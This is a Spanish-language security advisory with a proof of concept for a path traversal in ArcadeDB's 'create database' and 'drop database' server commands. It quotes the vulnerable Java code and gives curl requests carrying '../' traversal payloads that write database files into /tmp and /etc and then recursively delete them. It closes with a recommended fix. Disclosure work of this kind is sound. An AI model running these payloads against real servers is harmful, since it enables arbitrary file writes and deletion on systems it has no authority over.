
Prueba de concepto para CVE-2026-75855, un path traversal en los comandos create/drop database de ArcadeDB que permite la escritura y eliminación arbitraria de archivos fuera del directorio configurado.
El path traversal en los comandos de servidor "create database" / "drop database" permite la escritura y eliminación arbitraria de archivos fuera del directorio de base de datos configurado
El endpoint POST /api/v1/server en sus comandos create database y drop database utiliza el nombre de base de datos proporcionado por el llamador para construir una ruta de sistema de archivos sin saneamiento, normalización ni verificación de contención. Un usuario autenticado como la cuenta root del servidor ArcadeDB puede proporcionar un nombre que contenga secuencias ../ para hacer que el servidor cree (y posteriormente elimine) una base de datos completa — archivos y directorios arbitrarios — en cualquier ruta absoluta del sistema de archivos a la que el proceso del servidor pueda escribir, completamente fuera del arcadedb.server.databaseDirectory configurado.
Esto fue verificado en vivo, dos veces de forma independiente desde un estado limpio: un comando create database manipulado escribió archivos reales de base de datos en /tmp/ y, en una prueba separada, en ; un comando correspondiente con la misma cadena de traversal eliminó recursivamente el directorio.
/etc/drop databaseserver/src/main/java/com/arcadedb/server/http/handler/PostServerCommandHandler.java:
private void createDatabase(final String databaseName) {
if (databaseName.isEmpty())
throw new IllegalArgumentException("Database name empty");
checkServerIsLeaderIfInHA();
final ArcadeDBServer server = httpServer.getServer();
final ServerDatabase db = server.createDatabase(databaseName, ComponentFile.MODE.READ_WRITE);
...
}
La única validación es una comprobación de no vacío. databaseName fluye sin modificaciones hacia ArcadeDBServer.createDatabase() (server/src/main/java/com/arcadedb/server/ArcadeDBServer.java:572):
final DatabaseFactory factory = new DatabaseFactory(
configuration.getValueAsString(GlobalConfiguration.SERVER_DATABASE_DIRECTORY) + File.separator
+ databaseName).setAutoTransaction(true);
Esto es concatenación de cadenas en bruto, no un Path.resolve() con verificación de contención. DatabaseFactory (engine/src/main/java/com/arcadedb/database/DatabaseFactory.java) nunca llama a .normalize() ni verifica que la ruta resuelta permanezca bajo el directorio base previsto antes de que create()/open() escriban los archivos en disco.
dropDatabase() tiene la misma falta de validación, y dado que el servidor rastrea la base de datos bajo el nombre literal (que contiene traversal) proporcionado por el llamador, un drop database posterior elimina recursivamente cualquier directorio al que create database haya escrito.
checkRootUser(user) se aplica antes de ambos comandos, por lo que esto requiere la cuenta root del servidor — pero root aquí es el superusuario a nivel de aplicación de ArcadeDB, no necesariamente el mismo nivel de confianza que el acceso OS/shell al host. Romper la contención de databaseDirectory permite que esa cuenta a nivel de aplicación escriba y elimine archivos arbitrarios en cualquier lugar donde el proceso JVM tenga permisos de OS.
Entorno: ArcadeData/arcadedb @ commit 545e703, compilado desde el código fuente (./mvnw -pl engine,server -am install -DskipTests), ejecutado de forma independiente con arcadedb.server.rootPassword configurado y arcadedb.server.databaseDirectory=/databases.
Confirmar que el directorio de base de datos previsto está vacío.
Enviar un comando create database con una carga útil de traversal:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"create database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"} HTTP 200
ls -la /tmp/arcadedb-traversal-poc/
→ configuration.json, schema.json, dictionary..dict, txlog_.wal — una base de datos ArcadeDB completa y real. El directorio databases/ previsto permanece vacío durante todo el proceso.
list databases devuelve la cadena de traversal literal como el nombre registrado, confirmando cero normalización:{"result":["../../../../../../tmp/arcadedb-traversal-poc"]}
Repetido con una traversal más profunda hacia /etc/arcadedb-poc2 — tuvo éxito de forma idéntica, demostrando que la escritura no está confinada a /tmp ni a ninguna área particular del sistema de archivos, solo a lo que el proceso pueda escribir. También se reprodujo con una traversal mínima de un solo nivel ../, confirmando una fuga de ruta genuina en lugar de un resultado coincidente.
drop database con la misma cadena de traversal elimina recursivamente el directorio:
curl -u root: -X POST http://127.0.0.1:2480/api/v1/server \
-H "Content-Type: application/json" \
-d '{"command":"drop database ../../../../../../tmp/arcadedb-traversal-poc"}'
→ {"result":"ok"}; directorio confirmado como eliminado después.
create database) y eliminación recursiva arbitraria (mediante drop database) en cualquier ruta absoluta a la que el proceso del servidor pueda escribir, completamente fuera del sandbox databaseDirectory configurado.Rechazar directamente los nombres de base de datos que contengan separadores de ruta (/, \) o segmentos .. (una expresión regular simple de lista blanca, por ejemplo ^[A-Za-z0-9_-]+$, es estándar para esta clase de identificadores), y de forma defensiva resolver la ruta final con Path.resolve(name).normalize() y verificar que aún comienza con el directorio base configurado antes de cualquier operación de archivo, tanto en createDatabase como en dropDatabase.
Crédito: Pervin Zahidli (@ech0void )